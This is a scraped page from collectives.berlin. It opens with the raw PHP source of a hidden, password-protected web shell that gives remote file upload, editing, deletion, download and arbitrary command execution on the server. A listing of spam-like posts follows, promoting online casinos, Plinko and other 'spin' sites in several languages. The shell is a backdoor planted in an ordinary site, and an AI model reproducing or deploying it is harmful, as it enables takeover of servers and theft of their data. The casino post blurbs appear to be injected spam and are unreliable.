if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Post – Page 2 – collectives.berlin

Your digital paradise.

Category: Post

  • Eccellente_esperienza_di_gioco_e_https_only-spin-casino_it_per_amanti_del_rischi

    Eccellente esperienza di gioco e https://only-spin-casino.it per amanti del rischio online L'Offerta di Giochi e le Slot Machine I Fornitori di Software Principali Bonus e Promozioni Esclusive Programmi VIP e Fedeltà Metodi di Pagamento e Sicurezza Politiche di Prelievo e Verifica Assistenza Clienti e Supporto Tecnico Considerazioni Finali sull'Esperienza di Gioco e l'Affidabilità 🔥 Gioca…

    Click or not…

  • Opportunità_uniche_e_divertimento_assicurato_con_https_only-spin-casino_it_per-67392897

    Opportunità uniche e divertimento assicurato con https://only-spin-casino.it per gli appassionati del gioco online L’importanza della sicurezza e delle licenze nel gioco online Come riconoscere un casinò online sicuro L’offerta di giochi e la qualità del software L’importanza dei giochi con jackpot progressivi I bonus e le promozioni: cosa bisogna sapere Come sfruttare al meglio i…

    Click or not…

  • Consistent_spin_control_and_piperspin_for_better_table_tennis_performance

    Consistent spin control and piperspin for better table tennis performance Understanding Spin Variation in Table Tennis The Role of the Grip Developing Consistent Stroke Mechanics Drills for Improving Stroke Consistency The Mental Aspect of Spin Control Developing a Consistent Pre-Shot Routine Advanced Techniques and Spin Combinations Beyond the Basics: Applying Piperspin To Your Game 🔥…

    Click or not…

  • Spezielle_Lösungen_für_Rotationstechnik_mit_https_piper-spins_ch_und_maximaler

    Spezielle Lösungen für Rotationstechnik mit https://piper-spins.ch und maximaler Performance Präzise Drehvorrichtungen für anspruchsvolle Anwendungen Individuelle Anpassung und Engineering-Leistung Rotationssysteme für die Prozessindustrie Sicherheit und Zuverlässigkeit im Fokus Spezialanfertigungen und kundenspezifische Lösungen Von der Idee bis zum fertigen Produkt Anwendungen in der Automatisierungstechnik Fortschrittliche Materialien und Fertigungstechniken 🔥 Spielen ▶️ Spezielle Lösungen für Rotationstechnik mit https://piper-spins.ch…

    Click or not…

  • Remarkable_flight_instruction_featuring_piper-spins_ca_delivers_confident_pilots

    Remarkable flight instruction featuring piper-spins.ca delivers confident pilots and lasting skills Understanding Spin Awareness and Prevention The Role of Coordinated Flight Mastering Spin Recovery Techniques Variations in Aircraft Spin Characteristics Advanced Spin Training and Upset Recovery The Importance of Physiological Awareness The Benefits of Specialized Spin Instruction Beyond Recovery: Building Confident and Competent Pilots 🔥…

    Click or not…

  • Stabile_Flugleistung_erreichen_mit_piper-spins_ch_und_präziser_Ausbildung_für

    Stabile Flugleistung erreichen mit piper-spins.ch und präziser Ausbildung für anspruchsvolle Piloten Die Bedeutung von Spins und ungewollten Flugzuständen Spin-Eintritt und -Beendigung: Die entscheidenden Phasen Erweiterte Flugmanöver und Notverfahren Die Rolle der Simulation in der Pilotenausbildung Flugzeugtypen und individuelle Schulungsprogramme Spezialisierte Kurse für Kunstflug und Wettbewerbspiloten Die Bedeutung der regelmäßigen Fortbildung Herausforderungen und Zukunftsperspektiven in der…

    Click or not…

  • Szansa_na_wygraną_z_plinkos_org_pl_zależy_od_precyzyjnego_wyboru_punktu_starto

    Szansa na wygraną z plinkos.org.pl zależy od precyzyjnego wyboru punktu startowego i trafnej strategii gry Analiza prawdopodobieństwa a wybór punktu startowego Wpływ kąta padania i rozstawu przeszkód Strategie gry – jak zwiększyć szanse na wygraną? Wykorzystanie symulacji i narzędzi analitycznych Rola psychologii w grze Plinko Zarządzanie emocjami i budżetem Wykorzystanie Plinko jako narzędzia do nauki…

    Click or not…

  • Obliczenia_prawdopodobieństwa_w_grze_Plinko_na_https_plinkos_org_pl_i_szansa_na

    Obliczenia prawdopodobieństwa w grze Plinko na https://plinkos.org.pl i szansa na dużą wygraną Analiza Trajektorii Kulki w Plinko Wpływ Rozmieszczenia Kołków Strategie Wyboru Punktu Startowego Uwzględnienie Prawdopodobieństwa i Ryzyka Obliczanie Prawdopodobieństwa – Podejście Matematyczne Wykorzystanie Symulacji Monte Carlo Psychologia Gry w Plinko i Zarządzanie Budżetem Przyszłość Gry Plinko i Rozwój Technologii 🔥 Graj ▶️ Obliczenia prawdopodobieństwa…

    Click or not…

  • Ποιοτικές_υπηρεσίες_τυχερών_παιχνιδιών_και

    Ποιοτικές υπηρεσίες τυχερών παιχνιδιών και boomzinos-casino.gr για αξέχαστες εμπειρίες Η Εξέλιξη των Παιχνιδιών Καζίνο στο Διαδίκτυο Η Σημασία της Άδειας Λειτουργίας Προγράμματα Επιβράβευσης και Προσφορές Η Σημασία των Όρων και Προϋποθέσεων Στρατηγικές για Υπεύθυνο Τζόγο Εργαλεία Αυτοεξουσιοδότησης Ασφάλεια και Προστασία Δεδομένων Νέες Τάσεις και Τεχνολογίες στον Τζόγο 🔥 Παίξε ▶️ Ποιοτικές υπηρεσίες τυχερών παιχνιδιών και…

    Click or not…

  • Effektive_Strategien_und_tonyspins_für_nachhaltigen_Unternehmenserfolg_entwicke

    Effektive Strategien und tonyspins für nachhaltigen Unternehmenserfolg entwickeln Die Bedeutung strategischer Analyse und Marktforschung Die Rolle von Datenanalyse im modernen Marketing Kundenorientierung als Schlüsselfaktor für den Erfolg Die Bedeutung von Personalisierung im Kundenservice Innovation als Motor für Wachstum und Wettbewerbsfähigkeit Die Implementierung agiler Methoden zur Förderung der Innovation Nachhaltige Unternehmensführung und gesellschaftliche Verantwortung Die Zukunft…

    Click or not…